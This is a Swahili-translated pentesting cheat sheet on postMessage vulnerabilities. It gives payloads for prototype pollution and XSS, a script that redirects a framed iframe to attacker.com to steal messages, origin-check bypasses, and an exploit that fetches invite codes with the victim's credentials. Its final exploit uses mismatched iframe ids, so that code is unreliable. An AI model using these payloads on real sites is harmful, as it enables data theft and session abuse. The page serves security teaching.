PostMessage Vulnerabilities

Reading time: 8 minutes

PostMessage Vulnerabilities

tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

Send PostMessage

PostMessage inatumia kazi ifuatayo kutuma ujumbe:

bash
targetWindow.postMessage(message, targetOrigin, [transfer]);

# postMessage to current page
window.postMessage('{"__proto__":{"isAdmin":True}}', '*')

# postMessage to an iframe with id "idframe"
<iframe id="idframe" src="http://victim.com/"></iframe>
document.getElementById('idframe').contentWindow.postMessage('{"__proto__":{"isAdmin":True}}', '*')

# postMessage to an iframe via onload
<iframe src="https://victim.com/" onload="this.contentWindow.postMessage('<script>print()</script>','*')">

# postMessage to popup
win = open('URL', 'hack', 'width=800,height=300,top=500');
win.postMessage('{"__proto__":{"isAdmin":True}}', '*')

# postMessage to an URL
window.postMessage('{"__proto__":{"isAdmin":True}}', 'https://company.com')

# postMessage to iframe inside popup
win = open('URL-with-iframe-inside', 'hack', 'width=800,height=300,top=500');
## loop until win.length == 1 (until the iframe is loaded)
win[0].postMessage('{"__proto__":{"isAdmin":True}}', '*')

Kumbuka kwamba targetOrigin inaweza kuwa '*' au URL kama https://company.com.
Katika hali ya pili, ujumbe unaweza kutumwa tu kwa ile domain (hata kama asili ya kitu cha dirisha ni tofauti).
Ikiwa wildcard inatumika, ujumbe unaweza kutumwa kwa domain yoyote, na utatumwa kwa asili ya kitu cha Window.

Kushambulia iframe & wildcard katika targetOrigin

Kama ilivyoelezwa katika ripoti hii, ikiwa unapata ukurasa ambao unaweza iframed (hakuna ulinzi wa X-Frame-Header) na ambao unatumia ujumbe wa nyeti kupitia postMessage kwa kutumia wildcard (*), unaweza kubadilisha asili ya iframe na kuvuja ujumbe wa nyeti kwa domain inayodhibitiwa na wewe.
Kumbuka kwamba ikiwa ukurasa unaweza kuiframed lakini targetOrigin imewekwa kwa URL na sio kwa wildcard, hila hii haitafanya kazi.

markup
<html>
<iframe src="https://docs.google.com/document/ID" />
<script>
setTimeout(exp, 6000); //Wait 6s

//Try to change the origin of the iframe each 100ms
function exp(){
setInterval(function(){
window.frames[0].frame[0][2].location="https://attacker.com/exploit.html";
}, 100);
}
</script>

addEventListener exploitation

addEventListener ni kazi inayotumiwa na JS kutangaza kazi ambayo inatarajia postMessages.
Kodi kama ifuatavyo itatumika:

javascript
window.addEventListener(
"message",
(event) => {
if (event.origin !== "http://example.org:8080") return

// ...
},
false
)

Kumbuka katika kesi hii jinsi kitu cha kwanza ambacho msimbo unafanya ni kuangalia asili. Hii ni muhimu sana hasa ikiwa ukurasa unatarajia kufanya kitu chochote nyeti na taarifa iliyopokelewa (kama kubadilisha nywila). Ikiwa haikangalii asili, washambuliaji wanaweza kuwafanya waathirika kutuma data isiyo na mipaka kwa hizi endpoints na kubadilisha nywila za waathirika (katika mfano huu).

Uhesabuji

Ili kupata wasikilizaji wa matukio katika ukurasa wa sasa unaweza:

  • Tafuta msimbo wa JS kwa window.addEventListener na $(window).on (toleo la JQuery)
  • Tekeleza katika console ya zana za maendeleo: getEventListeners(window)

  • Nenda Elements --> Event Listeners katika zana za maendeleo za kivinjari

Bypass za kuangalia asili

  • event.isTrusted sifa inachukuliwa kuwa salama kwani inarudisha True tu kwa matukio ambayo yanatokana na vitendo halisi vya mtumiaji. Ingawa ni vigumu kupita ikiwa imewekwa vizuri, umuhimu wake katika ukaguzi wa usalama ni wa kutia maanani.
  • Matumizi ya indexOf() kwa uthibitisho wa asili katika matukio ya PostMessage yanaweza kuwa na uwezekano wa kupita. Mfano unaoonyesha udhaifu huu ni:
javascript
"https://app-sj17.marketo.com".indexOf("https://app-sj17.ma")
  • Njia ya search() kutoka String.prototype.search() inakusudia kwa matumizi ya kawaida, si nyuzi. Kupitisha chochote kisichokuwa regexp kunasababisha uhamasishaji wa kimya kimya kuwa regex, na kufanya njia hiyo kuwa hatari. Hii ni kwa sababu katika regex, nukta (.) inafanya kazi kama wildcard, ikiruhusu kupita uthibitisho na maeneo yaliyoundwa kwa njia maalum. Kwa mfano:
javascript
"https://www.safedomain.com".search("www.s.fedomain.com")
  • Kazi ya match(), kama search(), inashughulikia regex. Ikiwa regex imejengwa vibaya, inaweza kuwa na uwezekano wa kupita.

  • Kazi ya escapeHtml inakusudia kusafisha ingizo kwa kukwepa wahusika. Hata hivyo, haizalishi kitu kipya kilichokwepwa bali inabadilisha mali za kitu kilichopo. Tabia hii inaweza kutumika. Haswa, ikiwa kitu kinaweza kubadilishwa kwa namna ambayo mali yake inayodhibitiwa haikubali hasOwnProperty, escapeHtml haitafanya kazi kama inavyotarajiwa. Hii inaonyeshwa katika mifano hapa chini:

  • Kushindwa Kutarajiwa:

javascript
result = u({
message: "'\"<b>\\",
})
result.message // "&#39;&quot;&lt;b&gt;\"
  • Kupita kukwepa:
javascript
result = u(new Error("'\"<b>\\"))
result.message // "'"<b>\"

Katika muktadha wa udhaifu huu, kitu cha File kinapatikana kwa urahisi kutokana na mali yake ya kusoma tu name. Mali hii, inapokuwa katika templeti, haijasafishwa na kazi ya escapeHtml, ikisababisha hatari za usalama.

  • Mali ya document.domain katika JavaScript inaweza kuwekwa na skripti ili kupunguza eneo, ikiruhusu utekelezaji wa sera ya asili sawa kuwa rahisi zaidi ndani ya eneo moja la mzazi.

e.origin == window.origin bypass

Wakati wa kuingiza ukurasa wa wavuti ndani ya iframe iliyo na sandbox kwa kutumia %%%%%%, ni muhimu kuelewa kwamba asili ya iframe itakuwa imewekwa kuwa null. Hii ni muhimu hasa wakati wa kushughulikia sifa za sandbox na athari zao kwenye usalama na utendaji.

Kwa kuweka allow-popups katika sifa ya sandbox, dirisha lolote la popup lililofunguliwa kutoka ndani ya iframe linapata vizuizi vya sandbox vya mzazi wake. Hii inamaanisha kwamba isipokuwa sifa ya allow-popups-to-escape-sandbox pia imejumuishwa, asili ya dirisha la popup pia imewekwa kuwa null, ikilingana na asili ya iframe.

Kwa hiyo, wakati popup inafunguliwa chini ya hali hizi na ujumbe unatumwa kutoka iframe hadi popup kwa kutumia postMessage, pande zote za kutuma na kupokea zina asili zao zimewekwa kuwa null. Hali hii inasababisha hali ambapo e.origin == window.origin inathibitishwa kuwa kweli (null == null), kwa sababu iframe na popup zinashiriki thamani sawa ya asili ya null.

Kwa maelezo zaidi soma:

{{#ref}} bypassing-sop-with-iframes-1.md {{#endref}}

Kupita e.source

Inawezekana kuangalia ikiwa ujumbe ulitoka kwenye dirisha sawa ambalo skripti inasikiliza (hasa inavutia kwa Mifumo ya Maudhui kutoka nyongeza za kivinjari kuangalia ikiwa ujumbe ulitumwa kutoka kwenye ukurasa sawa):

javascript
// If it’s not, return immediately.
if (received_message.source !== window) {
return
}

Unaweza kulazimisha e.source ya ujumbe kuwa null kwa kuunda iframe inayotuma postMessage na ambayo inafuta mara moja.

Kwa maelezo zaidi soma:

{{#ref}} bypassing-sop-with-iframes-2.md {{#endref}}

X-Frame-Header bypass

Ili kutekeleza mashambulizi haya, kwa kawaida utahitaji kuiweka ukurasa wa wavuti wa mwathirika ndani ya iframe. Lakini vichwa vingine kama X-Frame-Header vinaweza kuzuia hiyo tabia.
Katika hali hizo, bado unaweza kutumia shambulizi ambalo halijafichwa sana. Unaweza kufungua kichupo kipya kwa programu ya wavuti iliyo hatarini na kuwasiliana nayo:

markup
<script>
var w=window.open("<url>")
setTimeout(function(){w.postMessage('text here','*');}, 2000);
</script>

Kuiba ujumbe uliopelekwa kwa mtoto kwa kuzuia ukurasa mkuu

Katika ukurasa ufuatao unaweza kuona jinsi unavyoweza kuiba data nyeti za postmessage zilizotumwa kwa iframe ya mtoto kwa kuzuia ukurasa mkuu kabla ya kutuma data na kutumia XSS katika mtoto ili kuvuja data kabla ya kupokelewa:

{{#ref}} blocking-main-page-to-steal-postmessage.md {{#endref}}

Kuiba ujumbe kwa kubadilisha eneo la iframe

Ikiwa unaweza iframe ukurasa wa wavuti bila X-Frame-Header ambao una iframe nyingine, unaweza kubadilisha eneo la iframe hiyo ya mtoto, hivyo ikiwa inapata postmessage iliyotumwa kwa kutumia wildcard, mshambuliaji anaweza kubadilisha asilimia ya iframe hiyo kuwa ukurasa uliotawaliwa na yeye na kuiba ujumbe:

{{#ref}} steal-postmessage-modifying-iframe-location.md {{#endref}}

postMessage kwa Uchafuzi wa Prototype na/au XSS

Katika hali ambapo data iliyotumwa kupitia postMessage inatekelezwa na JS, unaweza iframe ukurasa na kutumia uchafuzi wa prototype/XSS kwa kutuma exploit kupitia postMessage.

Mfano kadhaa wa XSS nzuri sana zilizofafanuliwa kupitia postMessage zinaweza kupatikana katika https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html

Mfano wa exploit ya kutumia Uchafuzi wa Prototype na kisha XSS kupitia postMessage kwa iframe:

html
<html>
<body>
<iframe
id="idframe"
src="http://127.0.0.1:21501/snippets/demo-3/embed"></iframe>
<script>
function get_code() {
document
.getElementById("iframe_victim")
.contentWindow.postMessage(
'{"__proto__":{"editedbymod":{"username":"<img src=x onerror=\\"fetch(\'http://127.0.0.1:21501/api/invitecodes\', {credentials: \'same-origin\'}).then(response => response.json()).then(data => {alert(data[\'result\'][0][\'code\']);})\\" />"}}}',
"*"
)
document
.getElementById("iframe_victim")
.contentWindow.postMessage(JSON.stringify("refresh"), "*")
}

setTimeout(get_code, 2000)
</script>
</body>
</html>

Kwa maelezo zaidi:

Marejeleo

tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks